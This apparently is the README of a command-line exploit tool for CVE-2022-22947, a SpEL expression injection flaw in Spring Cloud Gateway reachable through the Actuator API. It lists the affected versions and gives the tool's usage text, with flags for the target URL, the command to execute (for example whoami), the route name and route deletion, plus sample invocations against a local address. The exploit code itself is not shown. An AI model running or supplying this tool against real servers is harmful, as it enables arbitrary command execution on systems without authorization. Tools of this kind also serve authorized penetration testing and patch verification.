
Spring Cloud Gateway is an API gateway in Spring. Versions 3.1.0 and 3.0.6 (inclusive) and earlier contain a SpEL expression injection vulnerability. When an attacker can access the Actuator API, they can exploit this vulnerability to execute arbitrary commands.
Usage:
➜ ./cve-2022-22947 -h
Usage of cve-2022-22947:
-c string
Execute command, Example: whoami (default "id")
-d Delete route.
-r string
New route name
-u string
Target Url, Example: http://127.0.0.1:8080
# example
[>] Usage: ./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami -r exploit.
[>] Usage: ./CVE-2022-22947 -u http://127.0.0.1:8080 -r exploit -d
Issue encountered: https://darkb1rd.github.io/2022/03/07/yuque/cve-2022-22947%20%E5%B0%8F%E7%82%B9/